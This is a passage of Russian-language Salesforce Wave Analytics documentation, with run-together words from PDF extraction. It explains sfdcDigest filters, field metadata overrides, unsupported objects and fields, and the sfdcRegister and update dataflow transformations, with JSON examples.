Трансформация sfdcDigestизвлекает все записи, для которыхфильтр являетсяистинным. Принастройке трансформации
sfdcDigest длядобавочногоизвлеченияфильтрприменяется к данным, извлеченнымтолькововремядобавочного запуска;
Wave Analytics не применяет фильтр к записям, загруженным в набор данных ранее. При добавлении недопустимого
фильтра выполнение потока данных завершается ошибкой.

Ниже перечислены типыфильтров, которые могут использоваться для каждого экземпляра трансформации sfdcDigest.

• Структурированныйфильтр

• Расширенныйфильтр

Совет: Не можете решить, что следует использовать: фильтр в трансформации sfdcDigest или трансформацию
filter? Рекомендуем использовать трансформацию filter для фильтрации записей в любой точке потока данных.
Например, данная трансформацияможетбытьдобавленапослеобъединениядвухнаборовданныхпотокомданных.
Тем не менее, чтобы сократить количество строк, обработанных в потоке данных, и оптимизировать
производительностьпотокаданных, добавьтефильтркакможноближек точкеизвлечениязаписей (повозможности
добавьте фильтр в трансформацию sfdcDigest).

Структурированныйфильтр в трансформации sfdcDigest

Чтобы определить структурированныйфильтр, воспользуйтесь синтаксисом JSON.
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Расширенныйфильтр в трансформации sfdcDigest

Чтобыопределить расширенныйфильтр, воспользуйтесь выражением условия WHERE объектно-ориентированного
языка запросов Salesforce (SOQL). Рекомендуемиспользоватьрасширенныйфильтртолькоприналичииопытаработы
с SOQL.

СМ. ТАКЖЕ:

Трансформация sfdcDigest

Структурированныйфильтр в трансформации sfdcDigest

Чтобы определить структурированныйфильтр, воспользуйтесь синтаксисом JSON.

Структурированныйфильтр использует синтаксис JSON ниже для каждого условия фильтра.

{
"field": "<field name>",
"operator": "<operator>",
"value": "<value>"|"["<value 1>", "<value 2>"]",
"isQuoted": true|false}

Значениемможет быть число, дата, строка, список строкилилитерал даты. Wave Analytics автоматическиокружает строки
кавычками, кроме случаев назначения параметру isQuoted значения «true», указывающего на наличие кавычек вокруг
строки.

Ниже перечислены операторы, которые могут использоваться условием фильтра.

КомментарийОператор

Условие фильтра является истинным, если значение поля
равняется указанному значению. Сравнения строк,

=

использующие оператор «равно», не чувствительны к
регистру.

Пример:

"filterConditions": [
{
"field": "OwnerId",
"operator": "=",
"value": "a07B00000012HYu"
}

]

Условие фильтра является истинным, если значение поля
не равняется указанному значению.

!=

Пример (использование обратной косой черты для
экранирования двойных кавычек в строковом значении):

"filterConditions": [
{
"field": "Nickname__c",
"operator": "!=",
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КомментарийОператор

"value": "\"Sammy\""
}

]

Условие фильтра является истинным, если значение поля
превышает указанное значение.

>

Пример:

"filterConditions": [
{
"field": "Amount",
"operator": ">",
"value": "100000"
}

]

Условие фильтра является истинным, если значение поля
не превышает указанное значение.

<

Пример (использование литерала даты):

"filterConditions": [
{
"field": "CloseDate",
"operator": "<",
"value": "THIS_MONTH",
"isQuoted": false
}

]

Условие фильтра является истинным, если значение поля
превышает или равняется указанному значению.

>=

Пример:

"filterConditions": [
{
"field": "Amount",
"operator": ">=",
"value": "100000"
}

]

Условие фильтра является истинным, если значение поля
не превышает или равняется указанному значению.

<=

Пример (использование функции SOQL):

"filterConditions": [
{
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КомментарийОператор

"field": "CALENDAR_YEAR (CreatedDate)",
"operator": "<=",
"value": "2015",
"isQuoted": true
}

]

Условие фильтра является истинным, если значение поля
соответствует указанному значению. Оператор LIKE

LIKE

аналогиченоператору LIKE в SQL; онпозволяет сопоставлять
неполные текстовые строки и поддерживает специальные
символы.

• Оператор LIKE поддерживаетспециальныесимволы «%»
и «_».

• Специальный символ «%» соответствует нулевому или
большему количеству символов.

• Специальныйсимвол «_» соответствуетодномусимволу.

• Оператор LIKE поддерживается только полями строки.

• Оператор LIKE не чувствителен к регистру.

• Оператор LIKE поддерживает экранирование
специальных символов «%» и «_». Рекомендуем
использовать обратную косую черту (\) для
экранирования специальных символов.

Пример:

"filterConditions": [
{
"field": "FirstName",
"operator": "LIKE",
"value": "Chris%"
}

]

Условие фильтра является истинным, если значение поля
равняется любому значению из указанного списка. При

IN

необходимостидобавьтеилиудалитекавычкивокругсписка
значений. Если список уже окружен кавычками, задайте
параметру isQuoted истинное значение.

Пример:

"filterConditions": [
{
"field": "StageName",
"operator": "IN",
"value": ["Closed Won", "Closed Lost"]
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КомментарийОператор

}
]

Условие фильтра является истинным, если значение поля
не равняется любому значению из указанного списка.

NOT IN

Пример:

"filterConditions": [
{
"field": "BillingState",
"operator": "NOT IN",
"value": ["California", "New York"]
}

]

Данный оператор поддерживается только полями типа
«Раскрывающийся список» или «Раскрывающийся список

INCLUDES

со множественным выбором». Условие фильтра является
истинным, если значение поля типа «Раскрывающийся
список» содержит указанное значение.

Пример:

"filterConditions": [
{
"field": "BillingState",
"operator": "INCLUDES",
"value": ["California"]
}

]

Данный оператор поддерживается только полями типа
«Раскрывающийся список» или «Раскрывающийся список

EXCLUDES

со множественным выбором». Условие фильтра является
истинным, если значение поля типа «Раскрывающийся
список» не содержит указанное значение.

Пример:

"filterConditions": [
{
"field": "BillingState",
"operator": "EXCLUDES",
"value": ["California", "New York"]
}

]

Рассмотрим некоторые примеры структурированныхфильтров.
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Пример: Рассмотрим пример основного структурированного фильтра. Чтобы выполнить анализ ожидаемых
продаж для возможностей во втором финансовом квартале 2015 финансового года, создайте файл определения
потока данных ниже для создания соответствующего набора данных.

{
"Extract_Filtered_Opportunities": {

"action": "sfdcDigest",
"parameters": {

"object": "Opportunity",
"fields": [

{ "name": "Id" },
{ "name": "Name" },
{ "name": "AccountId" },
{ "name": "Amount" },
{ "name": "StageName" },
{ "name": "CloseDate" },
{ "name": "OwnerId" },
{ "name": "FiscalYear" },
{ "name": "FiscalQuarter" },
{ "name": "SystemModstamp" }

],
"filterConditions": [

{
"field": "FiscalYear",
"operator": "=",
"value": "2015"

},
{

"field": "FiscalQuarter",
"operator": "=",
"value": "2"

}
]

}
},
"Register_Opportunities_Dataset": {

"action": "sfdcRegister",
"parameters": {

"alias": "Opportunities_2015Q2",
"name": "Opportunities_2015Q2",
"source": "Extract_Filtered_Opportunities"

}
}

}

Прим.: При отсутствии логического оператора между условиямифильтра (аналогично данному примеру)
Wave Analytics применяет оператор AND.

Пример: Рассмотрим пример структурированного фильтра, содержащего логический оператор. Чтобы ускорить
составление прогнозов по ожидаемому доходу, создайте поток данных ниже для просмотра всех возможностей,
которые уже закрыты или должны быть закрыты с вероятностью более 90%.

{
"Extract_Opportunities": {
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"action": "sfdcDigest",
"parameters": {

"object": "Opportunity",
"fields": [

{ "name": "Id" },
{ "name": "Name" },
{ "name": "AccountId" },
{ "name": "Amount" },
{ "name": "StageName" },
{ "name": "CloseDate" },
{ "name": "OwnerId" },
{ "name": "Probability" },
{ "name": "FiscalYear" },
{ "name": "FiscalQuarter" }

],
"filterConditions": [

{
"operator": "OR",
"conditions": [

{
"field": "StageName",
"operator": "=",
"value": "Closed Won"

},
{

"field": "Probability",
"operator": ">=",
"value": "90"

}
]

}
]

}
},
"Register_Opportunities_Dataset": {

"action": "sfdcRegister",
"parameters": {

"alias": "OpportunitiesExpectedToWin",
"name": "OpportunitiesExpectedToWin",
"source": "Extract_Opportunities"

}
}

}

Пример: Теперьрассмотримпримерструктурированногофильтра, содержащеговложенныелогическиеоператоры.
Создайте поток данных ниже для просмотра всех возможностей, закрытых в текущемфинансовом квартале и
принадлежащих одному из двух прямых подчиненных.

{
"Extract_Opportunities": {

"action": "sfdcDigest",
"parameters": {

"object": "Opportunity",
"fields": [
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{ "name": "Id" },
{ "name": "Name" },
{ "name": "AccountId" },
{ "name": "Amount" },
{ "name": "StageName" },
{ "name": "CloseDate" },
{ "name": "OwnerId" },
{ "name": "FiscalYear" },
{ "name": "FiscalQuarter" }

],
"filterConditions": [

{
"operator": "AND",
"conditions": [

{
"field": "CloseDate",
"operator": "=",
"value": "THIS_FISCAL_QUARTER",
"isQuoted": false

},
{

"operator": "OR",
"conditions": [

{
"field": "OwnerId",
"operator": "=",
"value": "00540000000HfUz"

},
{

"field": "OwnerId",
"operator": "=",
"value": "00540000000HfV4"

}
]

}
]

}
]

}
},
"Register_Opportunities_Dataset": {

"action": "sfdcRegister",
"parameters": {

"alias": "DirectReport_Opportunities",
"name": "DirectReport_Opportunities",
"source": "Extract_Opportunities"

}
}

}
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Расширенныйфильтр в трансформации sfdcDigest

Чтобы определить расширенныйфильтр, воспользуйтесь выражением условия WHERE объектно-ориентированного
языка запросов Salesforce (SOQL). Рекомендуем использовать расширенныйфильтр только при наличии опыта работы с
SOQL.

Пример: Рассмотрим пример расширенного фильтра. В данном примере требуется извлечь только записи
возможностей, принадлежащиеконкретномупользователюиимеющиевысокуюценностьилибольшуювероятность
закрытия. Создайте поток данных ниже.

{
"Extract_Filtered_Opportunities": {

"action": "sfdcDigest",
"parameters": {

"object": "Opportunity",
"fields": [

{ "name": "Id" },
{ "name": "Name" },
{ "name": "AccountId" },
{ "name": "Amount" },
{ "name": "StageName" },
{ "name": "CloseDate" },
{ "name": "Probability" },
{ "name": "OwnerId" }

],
"complexFilterConditions": "OwnerId = '00540000000HfUz' AND (Amount > 100000

OR Probability > 75)"
}

},
"Register_Opportunities_Dataset": {

"action": "sfdcRegister",
"parameters": {

"alias": "FilteredOpportunities",
"name": "FilteredOpportunities",
"source": "Extract_Filtered_Opportunities"

}
}

}

Переопределение метаданных поля Salesforce

При необходимости переопределите метаданные поля, извлекаемые трансформацией sfdcDigest из объекта Salesforce,
дляиногоотображенияданныхвнабореданных. Например, Wave Analyticsможетдобавить стандартное значениев записи,
содержащие пустое поле.

Ниже перечислены параметры поля, которые могут быть добавлены в трансформацию sfdcDigest для переопределения
метаданных поля.

• defaultValue

• type

• fiscalMonthOffset

• isYearEndFiscalYear

• firstDayOfWeek
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• isMultiValue

• multiValueSeparator

• precision

• scale

Описание каждого параметра поля см. в подразделе «Параметры поля». Дополнительные сведения об использовании
атрибутов метаданных для настройки дат см. в разделе Обработка дат в наборах данных.

Пример: Рассмотрим пример ниже. В данном примере требуется переопределить метаданные, извлеченные из
объекта Opportunity.

Чтобы переопределить метаданные поля из объекта Opportunity, дополните определение потока данных ниже
текстом, выделенным жирнымшрифтом.

{
"Extract_Opportunities": {

"action": "sfdcDigest",
"parameters": {

"object": "Opportunity",
"fields": [

{ "name": "Id" },
{ "name": "Name" },
{

"name": "Amount",
"defaultValue":0
"precision":18
"scale":2

},
{ "name": "StageName" },
{

"name": "CloseDate",
"fiscalMonthOffset":9,
"firstDayOfWeek":"2",
"isYearEndFiscalYear":true

},
{ "name":"AccountId" },
{ "name":"OwnerId" },
{

"name": "OpportunitySupportTeamMembers__c",
"type":"Text",
"isMultiValue":true,
"multiValueSeparator":","
"precision":255

}
]

}
},
"Register_Opportunities_Dataset":{

"action":"sfdcRegister",
"parameters":{

"alias":"Opportunities",
"name":"Opportunities",
"source":"Extract_Opportunities"

}
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}
}

СМ. ТАКЖЕ:

Трансформация sfdcDigest

Неподдерживаемые объекты и поля Salesforce

Трансформация sfdcDigest не может извлекать данные из всех объектов и полей Salesforce. Прежде чем настраивать
извлечение объектов Salesforce, просмотрите ограничения ниже.

Дополнительную информацию обо всех объектах и полях Salesforce см. в Справочном руководстве по объектам для
Salesforce и Force.com.

Неподдерживаемые объекты

Трансформация sfdcDigest не может извлекать данные из этих объектов Salesforce.

• AuthProvider

• BrandTemplate

• ChatterConversation

• ChatterConversationMember

• ChatterMessage

• ConnectedApplication

• ContentFolderLink

• ContentWorkspace

• ContentWorkspaceDoc

• CorsWhitelistEntry

• CustomNotDeployed__OwnerSharingRule

• EmailDomainKey

• EmailServicesAddress

• EmailServicesFunction

• EmailTemplate

• EnvironmentHub

• EnvironmentHubInvitation

• EnvironmentHubMemberRel

• FeedPollChoice

• FeedPollVote

• KnowledgeArticleVersion

• LoginGeo

• LoginHistory

• NetworkActivityAudit

• NetworkModeration
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• OrganizationProperty

• OrgWideEmailAddress

• OutboundField

• PackageLicense

• PartnerNetworkSyncLog

• PermissionSet

• PermissionSetLicense

• Профиль

• ReputationLevel

• ReputationLevelLocalization

• ReputationPointsRule

• SearchPromotionRule

• SelfServiceUser

• SetupAssistantProgress

• SsoUserMapping

• TenantSecret

• Territory2ModelHistory

• TwoFactorInfo

• UserLogin

• UserPackageLicense

• UserProvAccount

• UserProvAccountStaging

• UserProvisioningConfig

• UserProvisioningLog

• UserProvisioningRequest

• UserProvisioningRequestOwnerSharingRule

• UserProvisioningRequestShare

• UserProvMockTarget

• WebLink

• WebLinkLocalization

Трансформация sfdcDigest не может извлекать данные из внешних объектов, созданных в системе Salesforce. Внешние
объекты аналогичны настраиваемым объектам, но соотносятся с данными, расположенными вне системы Salesforce.

Придобавлениинеподдерживаемогоилинедоступногообъекта в трансформацию sfdcDigest выполнениепотокаданных
завершается ошибкой.

Неподдерживаемые поля

Трансформация sfdcDigest не может извлекать данные из полей ниже.

Неподдерживаемые поляОбъект

CleanStatusОрганизация
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Неподдерживаемые поляОбъект

ItemIdActionPlanItem

AuthSession • LoginGeoId

• LoginHistoryId

KnowledgeArticleIdCaseArticle

Контакт • CanAllowPortalSelfReg

• CleanStatus

ParentIdContentDocument

ParentEntityIdContentFolderLink

ЗаголовокCustomPerson__p

ParentIdDocumentAttachmentMap

ActivityIdEmailMessage

EmailServicesAddressIdEmailRoutingAddress

EnvironmentHubIdEnvironmentHubMember

EventIdExternalEventMapping

ConnectedApplicationIdInstalledMobileApp

CleanStatusИнтерес

MasterLanguageKnowledgeArticle

KnowledgeArticleVersion • IsOutOfDate

• TranslationCompletedDate

• TranslationExportedDate

• TranslationImportedDate

Network • CaseCommentEmailTemplateId

• ChangePasswordEmailTemplateId

• ForgotPasswordEmailTemplateId

• WelcomeEmailTemplateId

Организация • SelfServiceEmailUserOnCaseCreationTemplateId

• SelfServiceNewCommentTemplateId

• SelfServiceNewPassTemplateId

• SelfServiceNewUserTemplateId

• WebToCaseAssignedEmailTemplateId

• WebToCaseCreatedEmailTemplateId
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Неподдерживаемые поляОбъект

• WebToCaseEmailTemplateId

• WebToLeadEmailTemplateId

PermissionSet • PermissionsEditEvent

• PermissionsEditTask

PermissionSetLicense • MaximumPermissionsEditEvent

• MaximumPermissionsEditTask

Профиль • PermissionsEditEvent

• PermissionsEditTask

SsoProviderIdThirdPartyAccountLink

LastPasswordChangeDateПользователь

RewardIdWorkBadge

RewardFundIdWorkBadgeDefinition

Поле неподдерживаемого типа, добавленное в трансформацию sfdcDigest, пропускается потоком данных.

Кроме того, компания Salesforce не рекомендует извлекать данные из поля MayEdit объекта Account. Извлечение данных
из данного поля заметно снижает производительность и препятствует выполнению потока данных.

Неподдерживаемые типы полей

Трансформация sfdcDigest не может извлекать данные из полей указанных ниже типов.

• base64

• составное (например, адрес или местоположение)

• ссылка на группу категорий данных

• зашифрованная строка

Поле неподдерживаемого типа, добавленное в трансформацию sfdcDigest, пропускается потоком данных.

СМ. ТАКЖЕ:

Трансформация sfdcDigest

Параметры sfdcDigest

Приопределении трансформации sfdcDigest задайте атрибуту action значение sfdcDigest инастройтепараметрыдля
нужных объектов и полей. Принеобходимости настройте параметры дляфильтрации записей, извлеченных из объекта
Salesforce.

Чтобы настроить параметры, воспользуйтесь следующими разделами узла sfdcDigest: parameters, fields и filterConditions.
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Параметры

Таблица ниже описывает параметры из раздела parameters.

ЗначениеОбязательно?Параметр

API-имя объекта Salesforce,
используемогодляизвлеченияданных.

Даobject

Данный объект является источником
ввода для данной трансформации.
Трансформация sfdcDigest не
поддерживает извлечение из всех
объектов Salesforce.

Данный параметр выполняет
добавочное извлечение, которое

Нетincremental

обрабатывает только изменения
объекта Salesforce, внесенные после
последнего выполнения потока
данных. Допустимыезначения: true или
false.

Данный параметр выполняет разовое
полноеизвлечениедлясинхронизации

НетfullRefreshToken

данных из набора данных с данными
из объекта Salesforce. Укажите любое
значение данного параметра.

После полного извлечения поток
данныхвсегдавыполняетпоследующее
добавочное извлечение даже при
добавлении параметра
fullRefreshToken в определение
потока данных. Чтобы повторить
полноеизвлечение, изменитезначение
параметра fullRefreshToken.

Массивименвсехполей, используемых
для извлечения данных из указанного

Даполя

объекта Salesforce. Трансформация
sfdcDigestнеподдерживаетизвлечение
из всех полей.

См. подраздел «Атрибуты полей».

Фильтр, которыйограничиваетзаписи,
извлеченные из указанного объекта

НетfilterConditions

Salesforce. Трансформация sfdcDigest
извлекает все записи из объекта
Salesforce, для которыхфильтрявляется
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ЗначениеОбязательно?Параметр

истинным. При необходимости
укажите структурированный или
расширенныйфильтр.

См. подраздел «Параметры условий
фильтра».

Данный параметр поддерживается
только расширеннымифильтрами.

НетcomplexFilterConditions

Условие WHERE
объектно-ориентированного языка
запросов Salesforce (SOQL),
используемоедляфильтрациизаписей,
извлеченных их указанного объекта
Salesforce.

Атрибуты полей

Таблица ниже описывает атрибуты из раздела fields. В ней также приводятся дополнительные атрибуты, с помощью
которых можно переопределять метаданные поля. При необходимости переопределите метаданные поля, извлекаемые
трансформацией sfdcDigestизобъекта Salesforce, дляиногоотображенияданныхвнабореданных. Например, Wave Analytics
может добавить стандартное значение в записи, содержащиепустоеполе. Если значенияне будут переопределены, Wave
Analytics получит значения из Salesforce.

ЗначениеОбязательно?Атрибут

API-имя поля объекта Salesforce,
выбранного для добавления в набор

Даname

данных. При необходимости укажите
несколько полей.

Данныйпараметрможетбытьнулевым
для текстовых и числовых полей.

НетdefaultValue

Стандартное значение, заменяющее
нулевое значениедля указанногополя.

Тип поляWave Analytics, связанный с
указанным полем. Допустимые типы:

Нетtype

«Текст», «Число» и «Дата». Любое
значение, включаячисловые значения,
может быть текстом.Например, по
умолчанию объекты Salesforce
используют финансовые кварталы
типа «Число». При необходимости
измените на тип «Текст». Выберите
нужныйтипдляпереопределениятипа,
заданного посредствомWave Analytics.
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ЗначениеОбязательно?Атрибут

Пример:

"type": "Text"

Данный параметр поддерживается
толькополямидаты. Разницавмесяцах

НетfiscalMonthOffset

между первым месяцем финансового
года и первым месяцем календарного
года (январь). Например, если
финансовый год начинается в январе,
то смещение — 0. Если финансовый
годначинается воктябре, то смещение
— 9.

Пример:

"fiscalMonthOffset": 9

Прим.: Этот атрибут также
управляет генерацией полей
финансовыхдат вWave Analytics.
Для генерации полей
финансовых дат установите
параметр
fiscalMonthOffset в
значение, отличное от «0».

Дополнительную информацию см. в
разделе Обработка дат в наборах
данных.

Данный параметр поддерживается
только полями даты. Определяет,

НетisYearEndFiscalYear

является ли финансовый год годом, в
которомзаканчиваетсяилиначинается
бюджетный год. Поскольку
финансовый год может начаться в
одномкалендарномгоду, а закончиться
в другом, необходимо указать, какой
год использовать в качестве
финансового года.

• Если установлено значение «true»,
то финансовый год — это год, в
котором закончился финансовый
год. Значение по умолчанию: true.

• Если установлено значение «false»,
то финансовый год — это год, в
котором начался финансовый год.
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ЗначениеОбязательно?Атрибут

Пример:

"isYearEndFiscalYear": true

Этополе учитывается только, когдадля
параметра fiscalMonthOffset
установлено значение больше 0.

Дополнительную информацию см. в
разделе Обработка дат в наборах
данных.

Данный параметр поддерживается
только полями даты. Первый день

НетfirstDayOfWeek

недели для календарного года и, если
применимо, финансового года.
Рекомендуем использовать значение
«0» для выбора первым днем недели
воскресенья, значение «1» для выбора
понедельника и т. д. Используйте
значение «-1» для установки первого
дня на 1 января. По умолчанию
устанавливается значение «-1».

Пример:

"firstDayOfWeek": "0"

Дополнительную информацию см. в
разделе Обработка дат в наборах
данных.

Данный параметр поддерживается
только текстовыми полями. Данный

НетisMultiValue

параметр определяет наличие
нескольких значенийуказанногополя.

Пример:

"isMultiValue": false

Данный параметр поддерживается
только текстовыми полями. Символ,

НетmultiValueSeparator

используемый для разделения
нескольких значений указанногополя
приистинностипараметра isMultiValue.
По умолчанию используется точка с
запятой (;). При ложности параметра
isMultiValue рекомендуемзадатьнулевое
значение.
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ЗначениеОбязательно?Атрибут

Пример:

"multiValueSeparator": ";"

Максимальное количество цифр в
числовом значении или длина

Нетточность

текстового значения. Для числовых
значений: включает все числа слева и
справа от десятичной запятой (но не
содержит символ десятичного
разделителя). Значение должно
находиться в диапазоне от 1 до 18
включительно. Для текстовых
значений: Значение по умолчанию —
255 символов; должно содержать от 1
до 32 00 символов включительно.

Пример:

"precision": 10

Количество цифр справа от
десятичной запятой в числовом

Нетмасштаб

значении. Не должно превышать
значение точности. Значение должно
находиться в диапазоне от 0 до 17
символов включительно.

Пример:

"scale": 2

Параметры условий фильтра

Таблицанижеописываетпараметрыструктурированногофильтраизраздела filterConditions. Данныепараметры
не применяются к расширеннымфильтрам.

ЗначениеОбязательно?Параметр

Полеобъекта Salesforce дляприменения
условия фильтра. Каждое условие

Нетfield

структурированного фильтра
использует следующий синтаксис:

{
"field": "<field name>",
"operator": "<operator>",
"value": "<value>",
"isQuoted": true|false}
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ЗначениеОбязательно?Параметр

Цель определяется контекстом.Нетoperator

• Параметр operator может
использоваться как оператор
сравнения (например, =, < и IN),
которыйсравнивает значениеполя
относительно постоянного
значения.

• Параметр operator может также
использоваться как логический
оператор (AND, OR или NOT),
связывающий разные условия
фильтра.

Впримеренижепараметр operator,
выделенный жирнымшрифтом,
является логическим оператором.
Другие экземпляры параметра
operator являются операторами
сравнения.

"filterConditions": [
{

"operator": "OR",
"conditions": [

{
"field":

"StageName",
"operator": "=",

"value": "Closed
Won"

},
{

"field":
"Probability",

"operator":
">=",

"value": "90"
}

]
}

]

Значение, используемое условием
фильтра.

Нетvalue

Данныйпараметропределяетналичие
кавычек вокруг строкового значения в
условии фильтра.

НетisQuoted
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ЗначениеОбязательно?Параметр

Пример значений при наличии
кавычек:

"filterConditions": [
{
"field": "StageName",
"operator": "IN",
"value": "('Closed Won',

'Closed Lost')",
"isQuoted": true
}

]

Пример значений при отсутствии
кавычек:

"filterConditions": [
{
"field": "StageName",
"operator": "IN",
"value": ["Closed Won",

"Closed Lost"],
"isQuoted": false
}

]

При отсутствии параметра isQuoted
Wave Analytics обрабатывает строковое
значение как значение без кавычек и
автоматически добавляет кавычки.

Данный параметр позволяет задавать
логический оператор для связывания
разных условий фильтра.

Нетconditions

СМ. ТАКЖЕ:

Трансформация sfdcDigest

Фильтрация записей, извлеченных из объекта Salesforce

Трансформация sfdcRegister

Трансформация sfdcRegister регистрирует набор данных с целью его доступности для запросов. Пользователи не могут
просматривать или выполнять запросы в отношении незарегистрированных наборов данных.

Регистрации подлежат не все наборы данных. Например, промежуточный набор данных, используемый для создания
другогонабора данных, можетне регистрироваться. Кроме того, не требуется регистрироватьнаборыданных, созданные
при загрузке внешних данных, ввиду их автоматической регистрации посредствомWave Analytics.

Ниже перечислены рекомендации по выбору наборов данных для регистрации.
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• Общееколичествостроквовсех зарегистрированныхнаборахданныхнеможетпревышать250 миллионовдлякаждой
лицензии на платформу.

• Пользователи, имеющие доступ к зарегистрированным наборам данных, могут запрашивать данные. Тем не менее,
чтобы ограничить доступ к записям, примените безопасность строки к набору данных.

Пример: Рассмотримпримерниже. Созданныйпотокданныхизвлекает возможностиизобъекта Opportunity. Чтобы
зарегистрировать набор данных, назначить ему имя Opportunities и применить безопасность строки, добавьте
трансформацию sfdcRegister (см. файл определения потока данных ниже).

{
"Extract_Opportunities": {

"action": "sfdcDigest",
"parameters": {

"object": "Opportunity",
"fields": [

{ "name": "Id" },
{ "name": "Name" },
{ "name": "Amount" },
{ "name": "StageName" },
{ "name": "CloseDate" },
{ "name": "AccountId" },
{ "name": "OwnerId" }

]
}

},
"Register_Oppportunities_Dataset": {

"action": "sfdcRegister",
"parameters": {

"alias": "Opportunities",
"name": "Opportunities",
"source": "Extract_Opportunities",
"rowLevelSecurityFilter": "'OwnerId' == \"$User.Id\""

}
}

}

Параметры sfdcRegister

При определении трансформации sfdcRegister задайте атрибуту action значение sfdcRegister и настройте
соответствующие параметры.

Параметры sfdcRegister

При определении трансформации sfdcRegister задайте атрибуту action значение sfdcRegister и настройте
соответствующие параметры.

Таблица ниже описывает доступные параметры ввода.

ЗначениеОбязательно?Параметр

API-имя зарегистрированного набора
данных. Данное имя может содержать

Даalias

только буквы, цифры и символы
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ЗначениеОбязательно?Параметр

подчеркивания и должно быть
уникальным во всех наборах данных
организации. Имя должно начинаться
с буквы; не может содержать пробелов
и двух последовательных символов
подчеркивания, а также не может
заканчиваться символом
подчеркивания. Его длина не может
превышать 80 символов.

Отображаемое имя
зарегистрированного набора данных.

Даname

Длина имени не может превышать
80 символов.

Прим.: Чтобы изменить имя
после создания набора данных,
рекомендуем отредактировать
набор данных.

Узел в файле определения потока
данных, который определяет набор

Даsource

данных, подлежащий регистрации.
Данныйпараметрявляетсяисточником
ввода для данной трансформации.

Предикат, используемый для
применения безопасности строки к

НетrowLevelSecurityFilter

набору данных при первом создании
набора данных.

Пример: "rowLevelSecurityFilter":
"'OwnerId' == "$User.Id""

Прим.: Чтобы изменить
предикатпосле созданиянабора
данных, рекомендуем
отредактировать набор данных.

При вводе предиката в
трансформации Register потока
данных JSON следует
экранировать двойные кавычки
вокруг строковых значений.

После создания набора данныхWave
Analytics пропускает параметр
предиката безопасности в потоке
данных. Чтобы изменить предикат
безопасности для текущего набора
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ЗначениеОбязательно?Параметр

данных, отредактируйтенаборданных
посредством пользовательского
интерфейса.

СМ. ТАКЖЕ:

Трансформация sfdcRegister

Трансформация update

Трансформация update обновляет значения заданных полей из текущего набора данных на основе данных из другого
набора данных, называемого подстановочным. Трансформация выполняет поиск новых значений из соответствующих
полей в подстановочном наборе данных. Трансформация сохраняет результаты в новом наборе данных.

Присозданиитрансформацииукажите ключи, используемыедля сопоставления записеймеждудвумянаборамиданных.
Чтобы указать поле подстановочного набора данных, обновляющее поле исходного набора данных, соотнесите
соответствующие поля из обоих наборов данных.

Пример: Рассмотрим пример ниже. Воспользуйтесь текущим набором данных Accounts, содержащим сведения об
организации (Id, Name и AnnualRevenue). Ввиду многочисленных объединений и приобретений, имена некоторых
организаций, доступных в наборе данных, содержат ошибки. Чтобыбыстро обновить имена организаций в наборе
данных, выполните указанные ниже действия.

1. Создайте CSV-файл, содержащий новые имена организаций и связанные коды для организаций, имеющих
измененные имена.

2. Загрузите CSV-файл для создания набора данных по имени UpdatedAccountNames.

3. Создайтефайл определения потока данных для обновления имен организаций в наборе данных Accounts путем
поиска новых имен организаций в наборе данных UpdatedAccountNames.

Создайте файл определения потока данных ниже.

{
"Extract_AccountDetails": {

"action": "sfdcDigest",
"parameters": {

"object": "Account",
"fields": [

{ "name": "Id" },
{ "name": "Name" },
{ "name": "AnnualRevenue" }
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]
}

},
"Extract_UpdatedAccountNames": {

"action": "edgemart",
"parameters": { "alias": "UpdatedAccountNames" }

},
"Update_AccountRecords": {

"action": "update",
"parameters": {

"left": "Extract_AccountDetails",
"right": "Extract_UpdatedAccountNames",
"left_key": [ "Id" ],
"right_key": [ "AccountID" ],
"update_columns": { "Name": "NewAccountName" }

}
},
"Register_UpdatedAccountRecords": {

"action": "sfdcRegister",
"parameters": {

"alias": "Accounts",
"name": "Accounts",
"source": "Update_AccountRecords"

}
}

}

Пример: Рассмотрим другой пример, где составной ключ используется для сопоставления записей между обоими
наборами данных. В данном случае сопоставьте записи посредством полей кода и имени организации.

Создайте файл определения потока данных ниже.

{
"Extract_AccountDetails": {

"action": "sfdcDigest",
"parameters": {

"object": "Account",
"fields": [

{ "name": "Id" },
{ "name": "Name" },
{ "name": "AnnualRevenue" }

]
}

},
"Extract_UpdatedAccountNames": {

"action": "edgemart",
"parameters": { "alias": "UpdatedAccountNames" }

},
"Update_AccountRecords": {

"action": "update",
"parameters": {

"left": "Extract_AccountDetails",
"right": "Extract_UpdatedAccountNames",
"left_key": ["Id","Name"],
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"right_key": ["AccountId","NewAccountName"],
"update_columns": {

"Name": "NewAccountName",
"CreatedDate":"NewCreatedDate",
"AnnualRevenue":"NewAnnualRevenue"

}
},
"Register_UpdatedAccountRecords": {

"action": "sfdcRegister",
"parameters": {

"alias": "Accounts",
"name": "Accounts",
"source": "Update_AccountRecords"

}
}

}

Параметры update

При определении трансформации update задайте атрибуту action значение update и настройте соответствующие
параметры.

Параметры update

При определении трансформации update задайте атрибуту action значение update и настройте соответствующие
параметры.

Таблица ниже описывает доступные параметры ввода.

ЗначениеОбязательно?Параметр

Узел в файле определения потока
данных, который определяет набор

Даleft

данных, содержащий записи для
обновления.

Узел в файле определения потока
данных, который определяет

Даright

подстановочный набор данных,
содержащий новые значения.

Столбецключавлевомнабореданных,
используемый для сопоставления

Даleft_key

записей в другом наборе данных. При
использовании составного ключа
левый и правый ключи должны
содержать одинаковое количество
столбцов в одинаковом порядке.
Примерсм. вразделе «Трансформация
update» на странице 3838.
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ЗначениеОбязательно?Параметр

Столбец ключа в правом наборе
данных, используемый для

Даright_key

сопоставления записей в другом
наборе данных. При использовании
составного ключа левый и правый
ключи должны содержать одинаковое
количество столбцов в одинаковом
порядке.

Массив соответствующих столбцов
между левым и правым наборами

Нетupdate_columns

данных. Воспользуйтесь следующим
синтаксисом: "update_columns":
{ "LeftColumn1":
"RightColumn1",
"LeftColumn2":
"RightColumn2",...
"LeftColumnN":
"RightColumnN" }. Значение из
правого столбца заменяет значение из
соответствующего левого столбца.
Типыполейлевогоиправогостолбцов
должны совпадать.

Прим.: При вводе
несуществующего имени
столбца выполнение потока
данных завершается ошибкой.

При отсутствии данного параметра
трансформация обновляет левый
набор данных

путем сопоставления всех столбцовиз
правого набора данных со столбцами
из левого набора данных. В данном
случаеименаправыхстолбцовдолжны
точно соответствовать именам левых
столбцов. В противном случае,
возможно возникновение ошибки.

СМ. ТАКЖЕ:

Трансформация update
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Переопределение метаданных, созданных посредством трансформации

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно за
дополнительную плату в
версиях: Enterprise Edition,
Performance Edition и
Unlimited Edition.

При необходимости переопределите метаданные, созданные посредством
трансформации. Система позволяет переопределять атрибуты объектов и полей.
